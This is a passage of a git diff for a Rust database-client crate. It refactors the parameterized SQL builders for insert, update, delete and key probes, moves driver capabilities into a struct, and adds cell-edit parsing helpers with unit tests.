super::predicate::key_predicate; @@ -15,22 +15,8 @@ pub fn build_delete( key: &[Value], ) -> Result { let components = key_components(identity, columns)?; - let (predicate, params) = key_predicate(dialect, &components, key, 1)?; - let sql = dialect.delete_statement(&dialect.qualify(table), &predicate); - Ok(Statement::from_parts(sql, params)) -} - -/// The SELECT that counts what a key matches, for the engines whose -/// affected-row count is an estimate. -pub fn build_key_probe( - dialect: &dyn SqlDialect, - table: &TableRef, - columns: &[ColumnInfo], - identity: &RowIdentity, - key: &[Value], -) -> Result { - let components = key_components(identity, columns)?; - let (predicate, params) = key_predicate(dialect, &components, key, 1)?; - let sql = dialect.key_probe(&dialect.qualify(table), &predicate); - Ok(Statement::from_parts(sql, params)) + let mut builder = StatementBuilder::new(); + let predicate = key_predicate(&mut builder, dialect, &components, key)?; + builder.push_sql(&dialect.delete_statement(&dialect.qualify(table), &predicate)); + Ok(builder.finish()) } diff --git a/linux/crates/core/src/dml/build_insert.rs b/linux/crates/core/src/dml/build_insert.rs index 71f6db488c..50ab06c608 100644 --- a/linux/crates/core/src/dml/build_insert.rs +++ b/linux/crates/core/src/dml/build_insert.rs @@ -2,7 +2,7 @@ use crate::column::ColumnInfo; use crate::dialect::{BindTarget, SqlDialect}; use crate::edit::CellInput; use crate::meta::TableRef; -use crate::statement::{BoundParam, Statement}; +use crate::statement::{Statement, StatementBuilder}; use super::BuildSqlError; @@ -25,9 +25,9 @@ pub fn build_insert( } let table_sql = dialect.qualify(table); + let mut builder = StatementBuilder::new(); let mut names = Vec::new(); let mut markers = Vec::new(); - let mut params: Vec = Vec::new(); for (column, cell) in columns.iter().zip(cells) { let Some(value) = cell.value() else { continue; @@ -35,12 +35,8 @@ pub fn build_insert( if column.is_generated || column.is_auto_increment { continue; } - let placeholder = dialect.placeholder(params.len() + 1, value.clone(), BindTarget::Column(column))?; + markers.push(builder.bind(dialect, value.clone(), BindTarget::Column(column))?); names.push(dialect.quote_identifier(&column.name)); - markers.push(placeholder.sql); - if let Some(param) = placeholder.param { - params.push(param); - } } if names.is_empty() { @@ -49,13 +45,14 @@ pub fn build_insert( let sql = dialect .insert_default_row(&table_sql) .ok_or(BuildSqlError::NoInsertValues)?; - return Ok(Statement::from_parts(sql, Vec::new())); + builder.push_sql(&sql); + return Ok(builder.finish()); } - let sql = format!( + builder.push_sql(&format!( "INSERT INTO {table_sql} ({}) VALUES ({})", names.join(", "), markers.join(", ") - ); - Ok(Statement::from_parts(sql, params)) + )); + Ok(builder.finish()) } diff --git a/linux/crates/core/src/dml/build_key_probe.rs b/linux/crates/core/src/dml/build_key_probe.rs new file mode 100644 index 0000000000..5134ea3a4c --- /dev/null +++ b/linux/crates/core/src/dml/build_key_probe.rs @@ -0,0 +1,24 @@ +use crate::column::ColumnInfo; +use crate::dialect::SqlDialect; +use crate::meta::{RowIdentity, TableRef}; +use crate::statement::{Statement, StatementBuilder}; +use crate::value::Value; + +use super::predicate::key_predicate; +use super::{BuildSqlError, key_components}; + +/// The SELECT that counts what a key matches, for the engines whose +/// affected-row count is not proof that a write hit exactly one row. +pub fn build_key_probe( + dialect: &dyn SqlDialect, + table: &TableRef, + columns: &[ColumnInfo], + identity: &RowIdentity, + key: &[Value], +) -> Result { + let components = key_components(identity, columns)?; + let mut builder = StatementBuilder::new(); + let predicate = key_predicate(&mut builder, dialect, &components, key)?; + builder.push_sql(&dialect.key_probe(&dialect.qualify(table), &predicate)); + Ok(builder.finish()) +} diff --git a/linux/crates/core/src/dml/build_update.rs b/linux/crates/core/src/dml/build_update.rs index 9802c0b15c..22f2566254 100644 --- a/linux/crates/core/src/dml/build_update.rs +++ b/linux/crates/core/src/dml/build_update.rs @@ -1,7 +1,7 @@ use crate::column::ColumnInfo; use crate::dialect::{BindTarget, SqlDialect}; use crate::meta::{RowIdentity, TableRef}; -use crate::statement::{BoundParam, Statement}; +use crate::statement::{Statement, StatementBuilder}; use crate::value::Value; use super::predicate::key_predicate; @@ -24,26 +24,17 @@ pub fn build_update( } let components = key_components(identity, columns)?; - let mut sql = String::new(); - let mut params: Vec = Vec::new(); - for (position, (index, value)) in assignments.iter().enumerate() { + let mut builder = StatementBuilder::new(); + let mut set = Vec::with_capacity(assignments.len()); + for (index, value) in assignments { let column = columns.get(*index).ok_or(BuildSqlError::UnknownKeyColumn { name: index.to_string(), })?; - if position > 0 { - sql.push_str(", "); - } - let placeholder = dialect.placeholder(params.len() + 1, value.clone(), BindTarget::Column(column))?; - sql.push_str(&dialect.quote_identifier(&column.name)); - sql.push_str(" = "); - sql.push_str(&placeholder.sql); - if let Some(param) = placeholder.param { - params.push(param); - } + let marker = builder.bind(dialect, value.clone(), BindTarget::Column(column))?; + set.push(format!("{} = {marker}", dialect.quote_identifier(&column.name))); } + let predicate = key_predicate(&mut builder, dialect, &components, key)?; - let (predicate, key_params) = key_predicate(dialect, &components, key, params.len() + 1)?; - params.extend(key_params); - let statement_sql = dialect.update_statement(&dialect.qualify(table), &sql, &predicate); - Ok(Statement::from_parts(statement_sql, params)) + builder.push_sql(&dialect.update_statement(&dialect.qualify(table), &set.join(", "), &predicate)); + Ok(builder.finish()) } diff --git a/linux/crates/core/src/dml/key_component.rs b/linux/crates/core/src/dml/key_component.rs index 6224de754b..eab140f91c 100644 --- a/linux/crates/core/src/dml/key_component.rs +++ b/linux/crates/core/src/dml/key_component.rs @@ -45,7 +45,7 @@ fn by_name<'a>(names: &[String], columns: &'a [ColumnInfo]) -> Result ColumnInfo { ColumnInfo { name: name.to_owned(), - column_type: ColumnType::new( - SqlTypeExpr::from_catalog_text("integer"), - ColumnKind::Integer(IntegerKind::I32), - CatalogType::Oid(23), - false, - ReadForm::Native, - ), + column_type: ColumnType { + name: "integer".to_owned(), + kind: ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, nullable: false, primary_key: true, is_auto_increment: false, @@ -111,6 +114,7 @@ mod tests { vec![ KeyComponent::EngineRowId(EngineRowIdPart::PostgresTableOid), KeyComponent::EngineRowId(EngineRowIdPart::PostgresCtid), + KeyComponent::EngineRowId(EngineRowIdPart::PostgresXmin), ] ); } diff --git a/linux/crates/core/src/dml/mod.rs b/linux/crates/core/src/dml/mod.rs index c257c52d4a..df340d9bb6 100644 --- a/linux/crates/core/src/dml/mod.rs +++ b/linux/crates/core/src/dml/mod.rs @@ -6,6 +6,7 @@ mod build_delete; mod build_insert; +mod build_key_probe; mod build_sql_error; mod build_update; mod key_component; @@ -13,8 +14,9 @@ mod predicate; #[cfg(test)] mod tests; -pub use build_delete::{build_delete, build_key_probe}; +pub use build_delete::build_delete; pub use build_insert::build_insert; +pub use build_key_probe::build_key_probe; pub use build_sql_error::BuildSqlError; pub use build_update::build_update; pub use key_component::{KeyComponent, key_components}; diff --git a/linux/crates/core/src/dml/predicate.rs b/linux/crates/core/src/dml/predicate.rs index cb7f7f234c..8fa47d3674 100644 --- a/linux/crates/core/src/dml/predicate.rs +++ b/linux/crates/core/src/dml/predicate.rs @@ -1,51 +1,47 @@ use crate::dialect::{BindTarget, SqlDialect}; -use crate::statement::BoundParam; +use crate::statement::StatementBuilder; use crate::value::Value; use super::{BuildSqlError, KeyComponent}; -/// The WHERE clause that names one row, and the parameters it binds. +/// The predicate that names one row, with its values bound in +/// `builder`. /// /// A NULL key part renders `IS NULL` with no marker: `= NULL` is never /// true, so binding it would silently match nothing. pub(super) fn key_predicate( + builder: &mut StatementBuilder, dialect: &dyn SqlDialect, components: &[KeyComponent<'_>], key: &[Value], - first_ordinal: usize, -) -> Result<(String, Vec), BuildSqlError> { +) -> Result { if key.len() != components.len() { return Err(BuildSqlError::LengthMismatch { expected: components.len(), found: key.len(), }); } + if key.iter().any(|value| matches!(value, Value::Undecodable(_))) { + return Err(BuildSqlError::UndecodableKey); + } let mut clauses = Vec::with_capacity(components.len()); - let mut params = Vec::new(); for (component, value) in components.iter().zip(key) { - if matches!(value, Value::Undecodable(_)) { - return Err(BuildSqlError::UndecodableKey); - } - let column_sql = match component { - KeyComponent::Column(column) => dialect.quote_identifier(&column.name), - KeyComponent::EngineRowId(part) => dialect - .engine_row_id_column(*part) - .ok_or(BuildSqlError::NoRowIdentity)?, + let (column_sql, target) = match component { + KeyComponent::Column(column) => (dialect.quote_identifier(&column.name), BindTarget::Column(column)), + KeyComponent::EngineRowId(part) => ( + dialect + .engine_row_id_column(*part) + .ok_or(BuildSqlError::NoRowIdentity)?, + BindTarget::EngineRowId(*part), + ), }; if value.is_null() { clauses.push(format!("{column_sql} IS NULL")); continue; } - let target = match component { - KeyComponent::Column(column) => BindTarget::Column(column), - KeyComponent::EngineRowId(part) => BindTarget::EngineRowId(*part), - }; - let placeholder = dialect.placeholder(first_ordinal + params.len(), value.clone(), target)?; - clauses.push(format!("{column_sql} = {}", placeholder.sql)); - if let Some(param) = placeholder.param { - params.push(param); - } + let marker = builder.bind(dialect, value.clone(), target)?; + clauses.push(format!("{column_sql} = {marker}")); } - Ok((clauses.join(" AND "), params)) + Ok(clauses.join(" AND ")) } diff --git a/linux/crates/core/src/dml/tests.rs b/linux/crates/core/src/dml/tests.rs index 90b65d6c92..d2d2d9c5d7 100644 --- a/linux/crates/core/src/dml/tests.rs +++ b/linux/crates/core/src/dml/tests.rs @@ -1,9 +1,9 @@ use crate::column::{ - CatalogType, ColumnDefault, ColumnInfo, ColumnKind, ColumnType, IntegerKind, ReadForm, SqlTypeExpr, TextKind, + ColumnDefault, ColumnInfo, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, TextLength, }; -use crate::dialect::TestDialect; +use crate::dialect::{RecordedTarget, TestDialect, TestMarkers}; use crate::edit::CellInput; -use crate::meta::{EngineRowId, RowIdentity, TableRef}; +use crate::meta::{EngineRowId, EngineRowIdPart, RowIdentity, TableRef}; use crate::value::{UndecodableReason, UndecodedValue, Value}; use super::*; @@ -11,13 +11,13 @@ use super::*; fn column(name: &str, kind: ColumnKind) -> ColumnInfo { ColumnInfo { name: name.to_owned(), - column_type: ColumnType::new( - SqlTypeExpr::from_catalog_text("t"), + column_type: ColumnType { + name: "t".to_owned(), kind, - CatalogType::Unknown, - false, - ReadForm::Native, - ), + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, nullable: true, primary_key: false, is_auto_increment: false, @@ -27,11 +27,23 @@ fn column(name: &str, kind: ColumnKind) -> ColumnInfo { } } +fn bigint() -> ColumnKind { + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W64, + signed: true, + }) +} + fn columns() -> Vec { vec![ - column("id", ColumnKind::Integer(IntegerKind::I64)), - column("name", ColumnKind::Text(TextKind::Variable)), - column("tenant", ColumnKind::Integer(IntegerKind::I64)), + column("id", bigint()), + column( + "name", + ColumnKind::Text { + length: TextLength::Unbounded, + }, + ), + column("tenant", bigint()), ] } @@ -147,7 +159,7 @@ fn a_key_of_the_wrong_length_is_error() { #[test] fn an_engine_row_id_needs_a_dialect_that_has_one() { - let dialect = TestDialect::exact(); + let dialect = TestDialect::exact().without_row_ids(); let identity = RowIdentity::EngineRowId(EngineRowId::SqliteRowid); let error = build_delete(&dialect, &table(), &columns(), &identity, &[Value::Int(11)]) @@ -226,19 +238,85 @@ fn build_insert_leaves_out_the_cells_the_user_did_not_fill() { } #[test] -fn build_insert_all_default_uses_default_row() { - let dialect = TestDialect::exact(); +fn build_insert_all_default_uses_default_row_or_errors() { + let all_default = [CellInput::Default, CellInput::Default, CellInput::Default]; - let statement = build_insert( - &dialect, + let statement = + build_insert(&TestDialect::exact(), &table(), &columns(), &all_default).expect("the default-row insert"); + let error = build_insert( + &TestDialect::exact().without_default_row(), &table(), &columns(), - &[CellInput::Default, CellInput::Default, CellInput::Default], + &all_default, ) - .expect("the insert"); + .expect_err("an engine with no default-row insert"); assert_eq!(statement.sql(), r#"INSERT INTO "public"."users" DEFAULT VALUES"#); assert!(statement.params().is_empty()); + assert_eq!(error, BuildSqlError::NoInsertValues); +} + +#[test] +fn build_update_engine_row_id_uses_part_columns_and_targets() { + let dialect = TestDialect::exact(); + let identity = RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid); + let key = [ + Value::Text("16384".to_owned()), + Value::Text("(0,7)".to_owned()), + Value::Text("742".to_owned()), + ]; + + let statement = build_update( + &dialect, + &table(), + &columns(), + &identity, + &key, + &[(1, Value::Text("new".to_owned()))], + ) + .expect("the update"); + + assert_eq!( + statement.sql(), + r#"UPDATE "public"."users" SET "name" = $1 WHERE tableoid = $2 AND ctid = $3 AND xmin = $4"# + ); + assert_eq!( + dialect.targets(), + vec![ + RecordedTarget::Column("name".to_owned()), + RecordedTarget::EngineRowId(EngineRowIdPart::PostgresTableOid), + RecordedTarget::EngineRowId(EngineRowIdPart::PostgresCtid), + RecordedTarget::EngineRowId(EngineRowIdPart::PostgresXmin), + ] + ); +} + +#[test] +fn positional_markers_bind_assignments_before_the_key() { + let dialect = TestDialect::exact().with_markers(TestMarkers::Positional); + let identity = RowIdentity::UniqueKey { + columns: vec!["id".to_owned(), "tenant".to_owned()], + }; + + let statement = build_update( + &dialect, + &table(), + &columns(), + &identity, + &[Value::Int(7), Value::Int(3)], + &[(1, Value::Text("new".to_owned()))], + ) + .expect("the update"); + + assert_eq!( + statement.sql(), + r#"UPDATE "public"."users" SET "name" = ? WHERE "id" = ? AND "tenant" = ?"# + ); + let values: Vec<_> = statement.params().iter().map(|param| param.value().clone()).collect(); + assert_eq!( + values, + vec![Value::Text("new".to_owned()), Value::Int(7), Value::Int(3)] + ); } #[test] diff --git a/linux/crates/core/src/driver.rs b/linux/crates/core/src/driver.rs index 0847741f59..046147bc10 100644 --- a/linux/crates/core/src/driver.rs +++ b/linux/crates/core/src/driver.rs @@ -1,49 +1,29 @@ +use std::sync::Arc; + use async_trait::async_trait; +use tokio_util::sync::CancellationToken; -use crate::connection::{ConnectOptions, Connection}; +use crate::capabilities::DriverCapabilities; +use crate::connect_options::ConnectOptions; +use crate::connection::Connection; use crate::error::DriverError; +/// One database engine, before any connection to it exists. #[async_trait] pub trait DatabaseDriver: Send + Sync { fn id(&self) -> &'static str; - fn display_name(&self) -> &'static str; - fn default_port(&self) -> u16; - - fn is_file_based(&self) -> bool { - false - } - /// Whether a multi-statement DDL batch can roll back as a unit, so - /// the structure editor's Save runs through - /// `Connection::execute_in_transaction` instead of statement by - /// statement. MySQL commits implicitly on every DDL statement: the - /// transaction would end after the first one and a later failure - /// would leave the earlier statements applied, which is worse than - /// not opening one at all. - fn ddl_is_transactional(&self) -> bool { - false - } - - /// Whether `ExecResult::rows_affected` carries a real count for - /// UPDATE and DELETE. The inline-edit Save path reads a zero count - /// as an optimistic-concurrency conflict, so a driver that cannot - /// produce one must say so or every successful save reports a lost - /// update. ClickHouse applies both as asynchronous mutations and - /// returns no row count for either. - fn reports_rows_affected(&self) -> bool { - true - } + fn display_name(&self) -> &'static str; - /// Whether this driver supports Windows integrated / Kerberos - /// authentication (`ConnectOptions::auth_mode == AuthMode::Kerberos`). - /// The connect dialog shows the auth-mode selector only for drivers - /// returning `true`, and while Kerberos is selected it hides the - /// username and password rows and sends empty credentials. Say - /// `true` only if `connect` maps `AuthMode::Kerberos` onto a real - /// integrated-auth path; `establish` refuses the mode otherwise. - fn supports_integrated_auth(&self) -> bool { - false - } + /// What the engine can do, for the connect dialog and the save + /// paths to decide what to offer before a connection is open. + fn capabilities(&self) -> &'static DriverCapabilities; - async fn connect(&self, opts: ConnectOptions) -> Result, DriverError>; + /// Open a connection. `cancel` aborts the connect itself, including a + /// login the server is slow to answer. + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError>; } diff --git a/linux/crates/core/src/edit/edit_context.rs b/linux/crates/core/src/edit/edit_context.rs new file mode 100644 index 0000000000..4ff7261dbf --- /dev/null +++ b/linux/crates/core/src/edit/edit_context.rs @@ -0,0 +1,10 @@ +/// Which row an edit lands in, which decides what an empty cell means. +/// +/// Only an insert can omit a column and let the server fill it, so an +/// empty cell asks for the default in a draft row and never in an +/// existing one. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum EditContext { + InsertDraft, + UpdateRow, +} diff --git a/linux/crates/core/src/edit/edit_parse_error.rs b/linux/crates/core/src/edit/edit_parse_error.rs index e106d8daf3..f7059cf36a 100644 --- a/linux/crates/core/src/edit/edit_parse_error.rs +++ b/linux/crates/core/src/edit/edit_parse_error.rs @@ -15,7 +15,7 @@ pub enum EditParseError { Required, #[error("enter a whole number")] InvalidInteger, - #[error("this column holds {kind:?} values, and this number is outside its range")] + #[error("this column holds {kind} integers, and this number is outside its range")] IntegerOutOfRange { kind: IntegerKind }, #[error("enter a number")] InvalidFloat, diff --git a/linux/crates/core/src/edit/edit_text.rs b/linux/crates/core/src/edit/edit_text.rs new file mode 100644 index 0000000000..fd1c51f008 --- /dev/null +++ b/linux/crates/core/src/edit/edit_text.rs @@ -0,0 +1,127 @@ +use crate::column::{ColumnKind, ColumnType}; +use crate::export::value_text; +use crate::value::Value; + +use super::ReadOnlyReason; + +/// What a cell editor starts from. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum EditText { + Editable(String), + ReadOnly(ReadOnlyReason), +} + +/// The full text of a value, for filling an editor. +/// +/// Never the grid's display text: that is truncated and shortened, and +/// committing it would write the shortened form back. A value with no +/// text form the parser could read back is read-only. +pub fn edit_text(value: &Value, column: &ColumnType) -> EditText { + if let Some(reason) = read_only_kind(&column.kind) { + return EditText::ReadOnly(reason); + } + match value { + Value::Null => EditText::Editable(String::new()), + Value::Undecodable(_) => EditText::ReadOnly(ReadOnlyReason::Undecodable), + // A dynamically typed column can hold a blob whatever it + // declares. + Value::Bytes(_) => EditText::ReadOnly(ReadOnlyReason::Bytes), + other => match value_text(other, column) { + Some(text) => EditText::Editable(text), + None => EditText::ReadOnly(ReadOnlyReason::Undecodable), + }, + } +} + +/// The kinds whose values have no text the parser takes back. Matches +/// what `parse_literal_text` refuses, so a cell that opens can commit. +fn read_only_kind(kind: &ColumnKind) -> Option { + match kind { + ColumnKind::Bytes { .. } => Some(ReadOnlyReason::Bytes), + ColumnKind::Spatial => Some(ReadOnlyReason::Spatial), + ColumnKind::Variant => Some(ReadOnlyReason::Variant), + ColumnKind::Array { .. } | ColumnKind::Composite => Some(ReadOnlyReason::Composite), + _ => None, + } +} + +#[cfg(test)] +mod tests { + use crate::column::{FloatWidth, ReadForm, TemporalZone, TextLength}; + use crate::value::{Temporal, UndecodableReason, UndecodedValue}; + + use super::*; + + fn column(kind: ColumnKind) -> ColumnType { + ColumnType { + name: "t".to_owned(), + kind, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + } + } + + #[test] + fn edit_text_is_never_truncated() { + let long = "x".repeat(20_000); + let text = column(ColumnKind::Text { + length: TextLength::Unbounded, + }); + + assert_eq!(edit_text(&Value::Text(long.clone()), &text), EditText::Editable(long)); + } + + #[test] + fn a_timestamp_keeps_its_declared_fraction() { + let stamp = column(ColumnKind::Timestamp { + fractional_digits: Some(6), + zone: TemporalZone::Naive, + }); + let value = Value::Timestamp(Temporal::Finite( + chrono::NaiveDate::from_ymd_opt(2024, 6, 15) + .and_then(|date| date.and_hms_micro_opt(12, 0, 0, 100_000)) + .expect("a timestamp"), + )); + + assert_eq!( + edit_text(&value, &stamp), + EditText::Editable("2024-06-15 12:00:00.100000".to_owned()) + ); + } + + #[test] + fn a_float_round_trips_in_its_shortest_form() { + let float = column(ColumnKind::Float(FloatWidth::F64)); + + assert_eq!( + edit_text(&Value::Float64(0.1), &float), + EditText::Editable("0.1".to_owned()) + ); + } + + #[test] + fn values_without_a_text_form_are_read_only() { + let text = column(ColumnKind::Text { + length: TextLength::Unbounded, + }); + let undecodable = Value::Undecodable(Box::new(UndecodedValue { + type_name: "geography".to_owned(), + reason: UndecodableReason::UnsupportedType, + })); + + assert_eq!( + edit_text(&undecodable, &text), + EditText::ReadOnly(ReadOnlyReason::Undecodable) + ); + assert_eq!( + edit_text(&Value::Bytes(vec![1]), &text), + EditText::ReadOnly(ReadOnlyReason::Bytes) + ); + assert_eq!( + edit_text(&Value::Null, &column(ColumnKind::Spatial)), + EditText::ReadOnly(ReadOnlyReason::Spatial) + ); + assert_eq!(edit_text(&Value::Null, &text), EditText::Editable(String::new())); + } +} diff --git a/linux/crates/core/src/edit/empty_input_meaning.rs b/linux/crates/core/src/edit/empty_input_meaning.rs new file mode 100644 index 0000000000..44e7b7234c --- /dev/null +++ b/linux/crates/core/src/edit/empty_input_meaning.rs @@ -0,0 +1,32 @@ +use crate::column::ColumnInfo; + +use super::EditContext; + +/// What committing an empty cell means. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum EmptyInputMeaning { + /// The empty string, which the column can hold. + EmptyText, + /// Leave the column out of the insert so the server fills it. + Default, + Null, + /// Nothing the column can hold, so the edit is refused. + Required, +} + +/// What an empty cell means for this column in this row. +/// +/// Only an INSERT can leave a column out, so an existing row never gets +/// a default from an empty cell: `SET c = DEFAULT` is not available on +/// SQLite or in a ClickHouse mutation. +pub fn empty_input_meaning(column: &ColumnInfo, context: EditContext) -> EmptyInputMeaning { + if column.column_type.kind.accepts_empty_string() { + return EmptyInputMeaning::EmptyText; + } + let server_fills = !column.default.is_none() || column.is_auto_increment || column.is_generated; + match context { + EditContext::InsertDraft if server_fills => EmptyInputMeaning::Default, + _ if column.nullable => EmptyInputMeaning::Null, + _ => EmptyInputMeaning::Required, + } +} diff --git a/linux/crates/core/src/edit/is_unchanged.rs b/linux/crates/core/src/edit/is_unchanged.rs new file mode 100644 index 0000000000..01b113859c --- /dev/null +++ b/linux/crates/core/src/edit/is_unchanged.rs @@ -0,0 +1,66 @@ +use crate::column::ColumnType; +use crate::export::value_text; +use crate::value::{Value, same_value}; + +/// Whether an edit leaves the cell as it was, so it is not saved. +/// +/// A dynamically typed column also compares the text forms: SQLite +/// hands back `1` for a cell the user retyped as `1`, and the parse of +/// that text may land in another variant without being a change. +pub fn is_unchanged(original: &Value, edited: &Value, column: &ColumnType) -> bool { + if same_value(original, edited) { + return true; + } + column.dynamic_storage + && matches!( + (value_text(original, column), value_text(edited, column)), + (Some(original), Some(edited)) if original == edited + ) +} + +#[cfg(test)] +mod tests { + use crate::column::{ColumnKind, ReadForm, TextLength}; + + use super::*; + + fn column(dynamic_storage: bool) -> ColumnType { + ColumnType { + name: "t".to_owned(), + kind: ColumnKind::Text { + length: TextLength::Unbounded, + }, + catalog: None, + dynamic_storage, + read_form: ReadForm::Native, + } + } + + #[test] + fn the_same_value_is_unchanged() { + assert!(is_unchanged(&Value::Int(1), &Value::Int(1), &column(false))); + assert!(is_unchanged( + &Value::Float64(f64::NAN), + &Value::Float64(f64::NAN), + &column(false) + )); + assert!(!is_unchanged(&Value::Int(1), &Value::Int(2), &column(false))); + } + + #[test] + fn a_dynamic_column_compares_text_forms() { + let typed = Value::Int(1); + let retyped = Value::Text("1".to_owned()); + + assert!(is_unchanged(&typed, &retyped, &column(true))); + assert!( + !is_unchanged(&typed, &retyped, &column(false)), + "a declared column ignored the type" + ); + } + + #[test] + fn null_is_not_the_empty_string() { + assert!(!is_unchanged(&Value::Null, &Value::Text(String::new()), &column(true))); + } +} diff --git a/linux/crates/core/src/edit/mod.rs b/linux/crates/core/src/edit/mod.rs index a82549441a..c783715bd4 100644 --- a/linux/crates/core/src/edit/mod.rs +++ b/linux/crates/core/src/edit/mod.rs @@ -2,11 +2,21 @@ //! text they typed becomes a value. mod cell_input; +mod edit_context; mod edit_parse_error; +mod edit_text; +mod empty_input_meaning; +mod is_unchanged; +mod parse_edit_text; mod parse_literal_text; pub use cell_input::CellInput; +pub use edit_context::EditContext; pub use edit_parse_error::{EditParseError, ReadOnlyReason}; +pub use edit_text::{EditText, edit_text}; +pub use empty_input_meaning::{EmptyInputMeaning, empty_input_meaning}; +pub use is_unchanged::is_unchanged; +pub use parse_edit_text::parse_edit_text; pub use parse_literal_text::{ parse_filter_text, parse_literal_text, parse_time_with_offset, parse_timestamp_with_offset, }; diff --git a/linux/crates/core/src/edit/parse_edit_text.rs b/linux/crates/core/src/edit/parse_edit_text.rs new file mode 100644 index 0000000000..855cf9d638 --- /dev/null +++ b/linux/crates/core/src/edit/parse_edit_text.rs @@ -0,0 +1,136 @@ +use crate::column::ColumnInfo; +use crate::value::Value; + +use super::{CellInput, EditContext, EditParseError, EmptyInputMeaning, empty_input_meaning, parse_literal_text}; + +/// Turn what the user typed into a cell into the input to save. +/// +/// Empty input follows `empty_input_meaning`. Whitespace alone is empty +/// for a column that cannot hold the empty string, and a value for one +/// that can. +pub fn parse_edit_text(input: &str, column: &ColumnInfo, context: EditContext) -> Result { + let accepts_empty = column.column_type.kind.accepts_empty_string(); + let empty = input.is_empty() || (!accepts_empty && input.trim().is_empty()); + if !empty { + return parse_literal_text(input, &column.column_type).map(CellInput::Value); + } + match empty_input_meaning(column, context) { + EmptyInputMeaning::EmptyText => Ok(CellInput::Value(Value::Text(String::new()))), + EmptyInputMeaning::Default => Ok(CellInput::Default), + EmptyInputMeaning::Null => Ok(CellInput::Value(Value::Null)), + EmptyInputMeaning::Required => Err(EditParseError::Required), + } +} + +#[cfg(test)] +mod tests { + use crate::column::{ + ColumnDefault, ColumnKind, ColumnType, IntegerKind, IntegerWidth, ReadForm, SqlExpression, TextLength, + }; + + use super::*; + + fn column(kind: ColumnKind, nullable: bool) -> ColumnInfo { + ColumnInfo { + name: "c".to_owned(), + column_type: ColumnType { + name: "t".to_owned(), + kind, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, + nullable, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + fn integer(nullable: bool) -> ColumnInfo { + column( + ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: true, + }), + nullable, + ) + } + + #[test] + fn empty_text_is_a_value_where_the_column_can_hold_it() { + let text = column( + ColumnKind::Text { + length: TextLength::Unbounded, + }, + false, + ); + + for context in [EditContext::InsertDraft, EditContext::UpdateRow] { + assert_eq!( + parse_edit_text("", &text, context), + Ok(CellInput::Value(Value::Text(String::new()))) + ); + } + assert_eq!( + parse_edit_text(" ", &text, EditContext::UpdateRow), + Ok(CellInput::Value(Value::Text(" ".to_owned()))), + "spaces in a text column were thrown away" + ); + } + + #[test] + fn an_empty_draft_cell_asks_for_the_servers_default() { + let mut defaulted = integer(false); + defaulted.default = ColumnDefault::Expression(SqlExpression::from_catalog_text("0")); + let mut serial = integer(false); + serial.is_auto_increment = true; + + assert_eq!( + parse_edit_text("", &defaulted, EditContext::InsertDraft), + Ok(CellInput::Default) + ); + assert_eq!( + parse_edit_text(" ", &serial, EditContext::InsertDraft), + Ok(CellInput::Default) + ); + assert_eq!( + parse_edit_text("", &integer(true), EditContext::InsertDraft), + Ok(CellInput::Value(Value::Null)) + ); + assert_eq!( + parse_edit_text("", &integer(false), EditContext::InsertDraft), + Err(EditParseError::Required) + ); + } + + #[test] + fn an_existing_row_never_gets_a_default_from_an_empty_cell() { + let mut defaulted = integer(false); + defaulted.default = ColumnDefault::Expression(SqlExpression::from_catalog_text("0")); + + assert_eq!( + parse_edit_text("", &defaulted, EditContext::UpdateRow), + Err(EditParseError::Required), + "an UPDATE writing NULL into a NOT NULL column" + ); + assert_eq!( + parse_edit_text("", &integer(true), EditContext::UpdateRow), + Ok(CellInput::Value(Value::Null)) + ); + } + + #[test] + fn typed_text_parses_as_the_columns_type() { + assert_eq!( + parse_edit_text("42", &integer(false), EditContext::UpdateRow), + Ok(CellInput::Value(Value::Int(42))) + ); + assert_eq!( + parse_edit_text("4x", &integer(false), EditContext::UpdateRow), + Err(EditParseError::InvalidInteger) + ); + } +} diff --git a/linux/crates/core/src/edit/parse_literal_text.rs b/linux/crates/core/src/edit/parse_literal_text.rs index 756482ea24..743374528d 100644 --- a/linux/crates/core/src/edit/parse_literal_text.rs +++ b/linux/crates/core/src/edit/parse_literal_text.rs @@ -1,9 +1,9 @@ use chrono::{DateTime, NaiveDate, NaiveDateTime, NaiveTime}; -use crate::column::{ColumnKind, ColumnType, FloatKind, IntegerKind}; +use crate::column::{BoolStorage, ColumnKind, ColumnType, FloatWidth, IntegerKind, TemporalZone, TimeRange}; use crate::value::{ - BitString, JsonText, OffsetTimestamp, OtherValue, SqlDecimal, SqlInterval, SqlTime, Temporal, TimeWithOffset, - Value, WideInteger, + BitString, JsonText, OffsetTimestamp, OtherValue, SqlDecimal, SqlInterval, SqlTime, Temporal, TimeRangeError, + TimeWithOffset, Value, WideInteger, }; use super::{EditParseError, ReadOnlyReason}; @@ -16,12 +16,25 @@ use super::{EditParseError, ReadOnlyReason}; /// the strict parse fails, because the server is the authority on what /// it accepts. pub fn parse_literal_text(input: &str, column: &ColumnType) -> Result { - match strict(input, column) { + parse(input, column, Purpose::Store) +} + +/// What the parsed value is for, which decides whether the column's +/// declared precision applies. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Purpose { + /// Written to the column, so it has to fit: the server would round + /// or refuse a value that does not. + Store, + /// Compared against the column. `price > 1.005` is a fair question + /// for a `numeric(10,2)` column. + Compare, +} + +fn parse(input: &str, column: &ColumnType, purpose: Purpose) -> Result { + match strict(input, column, purpose) { Ok(value) => Ok(value), - Err(error) if column.dynamic_storage() && keeps_text_on_failure(column.kind()) => { - let _ = error; - Ok(Value::Text(input.to_owned())) - } + Err(_) if column.dynamic_storage && keeps_text_on_failure(&column.kind) => Ok(Value::Text(input.to_owned())), Err(error) => Err(error), } } @@ -31,29 +44,32 @@ pub fn parse_literal_text(input: &str, column: &ColumnType) -> Result bool { +fn keeps_text_on_failure(kind: 